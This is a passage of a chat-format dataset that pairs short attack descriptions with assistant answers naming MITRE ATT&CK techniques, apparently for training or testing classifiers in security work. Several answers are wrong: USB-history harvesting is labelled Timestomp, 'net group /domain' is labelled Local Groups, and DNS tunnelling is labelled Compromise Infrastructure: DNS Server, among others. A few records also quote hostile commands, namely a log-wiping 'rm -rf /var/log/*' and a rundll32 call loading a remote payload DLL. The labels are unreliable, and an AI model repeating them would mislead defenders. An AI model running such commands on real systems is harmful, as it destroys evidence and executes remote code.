                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sets up a fake social media profile to recruit unwitting insiders and gather private information."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the file permissions of a Windows service executable so it can be overwritten with malicious code, then restarts the service to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the default 'pi' user with password 'raspberry' on a Raspberry Pi device to take control."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors transferred a custom exploitation tool across the internal network using administrative shares for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign includes a lure in the subject line urging the recipient to view an attached invoice, leading them to run a malicious script embedded in the file."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers the device to write its current config to a file that the attacker then downloads."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using job posting sites, the adversary extracts required skill sets and team structures to understand the victim's internal departments."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts a TCP SYN flood targeting the victim's local services, overwhelming the endpoint's listening sockets and causing service denial."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker renamed a malicious .exe file to report.pdf.exe so that it appears as a PDF document."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a scheduled task that calls \"net start\" on a compromised service, the attacker triggers the execution of their payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell to execute malicious scripts and evade detection"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphisher includes a shortened URL in a targeted email that resolves to a malicious executable hosting site."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages Nessus-like tools to conduct active scanning for outdated applications and insecure configurations."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with the Gatekeeper's assessment of developer IDs, the intruder permits execution of a forged app signed with a compromised certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a short URL that redirects to a malicious PowerShell script; the victim clicks the link, executing the script on their machine."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign modifies audit policies to stop logging failed login attempts, thereby blocking security indicators of brute-force attacks."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deleted audit logs from Google Cloud Logging to erase evidence of their activity."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a VBScript that is called by the system's wscript.exe, serving as a proxy to launch the main payload."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs \"rm -rf /var/log/*\" on a compromised Linux server to erase system logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a cron job on Linux machines that executes a curl command nightly to upload harvested data to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability to read the Windows registry key \"HKLM\\SAM\\SAM\" to retrieve account names."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated trojan rewrites the UEFI NVRAM variables to load hidden modules during system initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses a restricted threat intel portal to retrieve CVE exploit details relevant to the victim’s network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performs a social media scrape to collect employee photos for spear‑phishing."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compromises a SaaS platform by obtaining an employee’s reusable password and creates a hidden admin account."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber actor enumerates public cloud storage buckets (e.g., AWS S3) using known naming conventions related to the target."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypted user data and then used Azure Blob Storage endpoints to upload the encrypted payload for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a wordlist scan to identify misconfigured directories that expose sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool registers a hidden user via the NetUserAdd API and marks the account as ‘Password never expires’ to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor places a shortcut file in the Startup folder that points to a hidden executable."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a code injector by downloading it from a hidden file sharing site to increase their exploit arsenal."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a crafted DLL into a directory that is searched before the system folder, the malicious code is executed when the targeted application starts."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deletes the file system's inode tables and directory structures, rendering the storage volume unreadable."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new service entry in the Windows Registry under HKLM\\System\\CurrentControlSet\\Services to launch their malware each boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a PowerShell one-liner that downloads a malicious DLL from a remote IP and loads it into memory."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware tool harvests the list of recently connected USB devices from the system logs."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware parses Kubernetes kubeconfig files to locate cluster authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using COM hijacking, the malware registers a fake COM class with the same GUID as a legitimate system component, redirecting execution to a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit chain includes calling VirtualAllocEx to reserve space, writing a payload, and then invoking SetWindowLongPtr to swap the window’s original WNDPROC with the injected code."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromised a popular developer forum and added a script that checks for a particular Git configuration file in the visitor's home directory; if found, it drops a credential‑dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber thieves purchased a botnet on an underground forum to launch credential‑dumping campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor hides C2 traffic within legitimate video streaming protocols like RTP."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group implants a compromised OS image into the device's internal storage, preserving their foothold across reboots."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary establishes a command-and-control channel over TCP port 8080 to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts the list of domain groups by invoking the net group /domain command."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script checks for the presence of the 'vmware' driver and disables functionality if a virtual environment is detected."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used environment variable injection to replace parts of the command with benign‑looking names."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into the authentication service to disable MFA verification for targeted user accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware corrupts the bootloader stored in firmware, allowing code execution before the OS kernel starts."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged stolen credentials to log into the CMS and replace the news article with their own content."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder hijacks the Software Integrity Provider mechanism, tricking the OS into trusting malicious drivers."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool parses the Opera browser's encrypted password database to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker takes advantage of a service's world‑writable executable, overwriting it with a trojan that runs each time the service is restarted."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a misconfigured reverse proxy to modify XML payloads in transit, causing XML External Entity (XXE) attacks."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the 'sh' interpreter on macOS to run a Python payload that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses DNS tunneling techniques to exfiltrate data by encoding it in DNS queries to a compromised DNS server."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Office add‑in is installed to automatically execute when Word launches, allowing the attacker to run PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised cloud instances, creating a botnet for lateral movement within the target environment."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deploys a legitimate remote desktop tool for initial access, then upgrades to an encrypted WebSocket channel to exfiltrate data unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a misconfigured HashiCorp Vault policy to list and read all stored secrets, including SSH private keys and database credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes the creation of a service account in the domain for later use."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware stays dormant for an extended period, awaiting the right moment to escalate its privileges and initiate its payload."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in a firmware component to gain elevated access to hardware-level functionalities."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers found that the malware leveraged stolen Kerberos tickets to access Active Directory resources."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Connection Manager Profile Installer to execute arbitrary code by passing a malicious INF that points to a payload DLL, leveraging system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the operating system’s boot image to embed malicious code that will execute on the next system startup."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To maintain foothold, the attacker adds a malicious script to the system's boot-time login hook, ensuring the payload runs on every system start."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group obtains an expired but still trusted code-signing certificate to sign their trojan."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rundll32 was invoked with a UNC path to a remote DLL \"\\\\malicious\\share\\payload.dll,Start\" to execute code without writing files locally."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor runs port scans combined with CVE databases to locate exploitable vulnerabilities in the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary executes a malicious Terraform plan that includes a resource destruction step for an AWS EC2 instance."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor intercepts session cookie data in transit and injects it into their own HTTP requests to bypass login controls."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool like Slowloris, the attacker maintains many open connections to a web server, preventing legitimate requests from being processed and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries generate a hidden local admin account by modifying the registry to hide the account from the Winlogon UI and setting the account to be excluded from login prompts."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compresses a payload and stores it in an innocuous .txt file, later decompressing and executing it."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
